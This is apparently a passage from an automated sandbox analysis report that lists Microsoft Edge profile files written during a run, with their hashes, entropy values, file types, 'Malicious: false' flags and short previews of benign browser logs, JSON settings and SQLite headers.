SSDEEP:	6:HK0H4q2P923oH+TcwtrQMxIFUt8YK6UxJZmw+YK7DkwO923oH+TcwtrQMFLJ:zH4v4YebCFUt8fxJ/+bD5LYebtJ
MD5:	465A11F5062B8DD0214B174843E13755
SHA1:	5D1AAAE6C748B8F9802E015A7EA3E856CE991B12
SHA-256:	B76415C05B9485326EF565BB2681B27F8FE475DAB59B5D05B84E61D0B8423575
SHA-512:	5B945AAF0EE38EA3C9ABC126A2823E89DDE135807F6738B6D4733746203800F6A6BA26184B59C4E7ED0F76E1B6BAF9697D78EB15A25708F22F798B638EDEB620
Malicious:	false
Preview:	2024/11/28-00:48:20.895 1d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/28-00:48:20.944 1d64 Recovering log #3.2024/11/28-00:48:20.960 1d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377246502646565

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2521
Entropy (8bit):	3.79686618244536
Encrypted:	false
SSDEEP:	48:3diHeLFIIobQovIzFKLp2FEkCh0yVSurHOpc8PIem2Wo1d2zyDugHHOp:3MHeLFIIFovFp2+k60yVVrulPdmIdysu
MD5:	2CE55A12AD880D124B80D593A9B0FD95
SHA1:	81C69D6BB4115204DCDDCDCF1EBBECD175369F39
SHA-256:	4E509226BFC6FA0077449AEC0A97E0F9CF9C2D4EE78E920553292C8B163E2E18
SHA-512:	17F64B322736D51F4345BB5248D3C6A29A0E505AC1C9DC30DCB47C4FE2D410BF4A1356EA96D466667D69CFE55E8527464493F716FFF1A121BD589796FFDAA055
Malicious:	false
Preview:	SNSS.........N..............N......."..N..............N..........N..........N..........N.....!....N..................................N...N.1..,.....N.$...34c5ff0f_5adb_49a7_bcc0_26e9971e81e3.....N..........N......P...........N......N..........................N.....................5..0.....N.&...{98952893-68FF-4A5D-A164-705C709ED3DB}.......N..........N.............................N..............N.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........l..'....l..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.078098811076814
Encrypted:	false
SSDEEP:	6:HK20jlyq2P923oH+Tcwt7Uh2ghZIFUt8YK20jz1Zmw+YK2lpRkwO923oH+Tcwt7w:SMv4YebIhHh2FUt8v/1/+GP5LYebIhHd
MD5:	D8FA402FC28593CDF6D3F715170E2DBC
SHA1:	4296CC0B69A08F2BB21738DD8EE8DBE630E54230
SHA-256:	A920039C9C2BB9BE68082C1CF228A78D94813C0A57A474D023896C04131EF61B
SHA-512:	E89581464B762193D91C16E80C9E3AA4C0F71F98EEAB7DF779EF5C716FE30DC3634B2F0CEF68CCA67AFC5B6818CED370F4C050A8F296BA8AA4B2CC2F9C1B01EC
Malicious:	false
Preview:	2024/11/28-00:48:20.290 1c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/28-00:48:20.290 1c14 Recovering log #3.2024/11/28-00:48:20.291 1c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.078098811076814
Encrypted:	false
SSDEEP:	6:HK20jlyq2P923oH+Tcwt7Uh2ghZIFUt8YK20jz1Zmw+YK2lpRkwO923oH+Tcwt7w:SMv4YebIhHh2FUt8v/1/+GP5LYebIhHd
MD5:	D8FA402FC28593CDF6D3F715170E2DBC
SHA1:	4296CC0B69A08F2BB21738DD8EE8DBE630E54230
SHA-256:	A920039C9C2BB9BE68082C1CF228A78D94813C0A57A474D023896C04131EF61B
SHA-512:	E89581464B762193D91C16E80C9E3AA4C0F71F98EEAB7DF779EF5C716FE30DC3634B2F0CEF68CCA67AFC5B6818CED370F4C050A8F296BA8AA4B2CC2F9C1B01EC
Malicious:	false
Preview:	2024/11/28-00:48:20.290 1c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/28-00:48:20.290 1c14 Recovering log #3.2024/11/28-00:48:20.291 1c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.236337386715679
Encrypted:	false
SSDEEP:	6:HKa4q2P923oH+TcwtzjqEKj3K/2jMGIFUt8YKL+LJZmw+YKDDkwO923oH+Tcwtzg:x4v4YebvqBQFUt8rsJ/+jD5LYebvqBvJ
MD5:	5954A2F0D73B7295339518E4F08C19DB
SHA1:	120A7689E5A9821003253F434A843086B1533ED9
SHA-256:	779DA1E82EE7EAA81AB8F9BEDD0DE104750FD5AE52C79B9A758E86DA2319BE08
SHA-512:	C75BDDF0115A6F5A3A7CF0E29145DBACD3819C949ABA5C572064084B909363753FFA7281703C3828DFCD613EA328032D03289BF1C0DA9B516A2EA5600FA4695F
Malicious:	false
Preview:	2024/11/28-00:48:20.989 1d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/28-00:48:20.990 1d64 Recovering log #3.2024/11/28-00:48:20.995 1d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.236337386715679
Encrypted:	false
SSDEEP:	6:HKa4q2P923oH+TcwtzjqEKj3K/2jMGIFUt8YKL+LJZmw+YKDDkwO923oH+Tcwtzg:x4v4YebvqBQFUt8rsJ/+jD5LYebvqBvJ
MD5:	5954A2F0D73B7295339518E4F08C19DB
SHA1:	120A7689E5A9821003253F434A843086B1533ED9
SHA-256:	779DA1E82EE7EAA81AB8F9BEDD0DE104750FD5AE52C79B9A758E86DA2319BE08
SHA-512:	C75BDDF0115A6F5A3A7CF0E29145DBACD3819C949ABA5C572064084B909363753FFA7281703C3828DFCD613EA328032D03289BF1C0DA9B516A2EA5600FA4695F
Malicious:	false
Preview:	2024/11/28-00:48:20.989 1d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/28-00:48:20.990 1d64 Recovering log #3.2024/11/28-00:48:20.995 1d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\05a26826-c3a9-4f68-ba72-10cc184a07b0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\301bc9cd-4db6-48d6-a592-9c2b887bbae0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4fb590f4-1a21-44bf-96da-efdcc59d5071.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\79f9acc0-6f13-4611-8981-025220b6ec7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39dd7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.25655522971963
Encrypted:	false
SSDEEP:	12:K4v4YebvqBZFUt80XJ/+3xD5LYebvqBaJ:V4Yebvyg80oLYebvL
MD5:	689DE38055A173F88A9AE3FD6ABBF663
SHA1:	D88CE07AB9D695E537A9118E86BAF83FA39D3315
SHA-256:	2594B502EC933724E4E2F81FBA1EE0DBD5C16FE066FC9CFAD0622C3CEDD2A7CF
SHA-512:	3873AF0EF125DC2D9C239157B62B2CBBE4398E200597EB8CD873A6797171DA08EF2066960104232D89F3D61361A49072C2887AC99B8809B3F0B0151C7C5B9DA7
Malicious:	false
Preview:	2024/11/28-00:48:39.605 1d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/28-00:48:39.606 1d64 Recovering log #3.2024/11/28-00:48:39.609 1d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.25655522971963
Encrypted:	false
SSDEEP:	12:K4v4YebvqBZFUt80XJ/+3xD5LYebvqBaJ:V4Yebvyg80oLYebvL
MD5:	689DE38055A173F88A9AE3FD6ABBF663
SHA1:	D88CE07AB9D695E537A9118E86BAF83FA39D3315
SHA-256:	2594B502EC933724E4E2F81FBA1EE0DBD5C16FE066FC9CFAD0622C3CEDD2A7CF
SHA-512:	3873AF0EF125DC2D9C239157B62B2CBBE4398E200597EB8CD873A6797171DA08EF2066960104232D89F3D61361A49072C2887AC99B8809B3F0B0151C7C5B9DA7
Malicious:	false
Preview:	2024/11/28-00:48:39.605 1d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/28-00:48:39.606 1d64 Recovering log #3.2024/11/28-00:48:39.609 1d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.148835116004101
Encrypted:	false
SSDEEP:	6:HK7WMq2P923oH+TcwtpIFUt8YKbP9Zmw+YKbPPkwO923oH+Tcwta/WLJ:Cjv4YebmFUt87l/+735LYebaUJ
MD5:	6A19C33BF1C5979891AA3751817452A5
SHA1:	D274E22D750C765EB07A9403F830DA1A48918B70
SHA-256:	525924A056F90D2EB9407667BE2CF6A314E254299A2F4BA3A2AFA2BFA3A48459
SHA-512:	AB5C27E441234086C09970055BF9FA256EAF78E074FF7B3400C85CAB5D86ED22983943AD3903BAEEA3463DA28DB719F8C03EA02E39179E01EDB39831FC148197
Malicious:	false
Preview:	2024/11/28-00:48:20.148 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/28-00:48:20.149 1cd4 Recovering log #3.2024/11/28-00:48:20.149 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.148835116004101
Encrypted:	false
SSDEEP:	6:HK7WMq2P923oH+TcwtpIFUt8YKbP9Zmw+YKbPPkwO923oH+Tcwta/WLJ:Cjv4YebmFUt87l/+735LYebaUJ
MD5:	6A19C33BF1C5979891AA3751817452A5
SHA1:	D274E22D750C765EB07A9403F830DA1A48918B70
SHA-256:	525924A056F90D2EB9407667BE2CF6A314E254299A2F4BA3A2AFA2BFA3A48459
SHA-512:	AB5C27E441234086C09970055BF9FA256EAF78E074FF7B3400C85CAB5D86ED22983943AD3903BAEEA3463DA28DB719F8C03EA02E39179E01EDB39831FC148197
Malicious:	false
Preview:	2024/11/28-00:48:20.148 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/28-00:48:20.149 1cd4 Recovering log #3.2024/11/28-00:48:20.149 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651559751206713
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMcSAELyKOMq+8yC8F/YfU5m+OlTLVumE:Bq+n0Jc9ELyKOMq+8y9/Ow/
MD5:	63AD3A7DE494ADBD00AD988FFF294BDE
SHA1:	3CCD5A7FAEA1367AF83A038425FABA95650AE2E9
SHA-256:	E2636680A9DE71D8979CB75DB07DE6D3F2A8810ADCB92783AB08E31E89427222
SHA-512:	F697B9BEEEFE7BD3530ACBCA8A34EF74F6153A3C3157CEE6847BCEF0137F9209D2A920CA90A5353A57A166545CE49B834B413249B67E5BA83F4DAF5247453206
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.41235120905181716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
MD5:	981F351994975A68A0DD3ECE5E889FD0
SHA1:	080D3386290A14A68FCE07709A572AF98097C52D
SHA-256:	3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
SHA-512:	C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
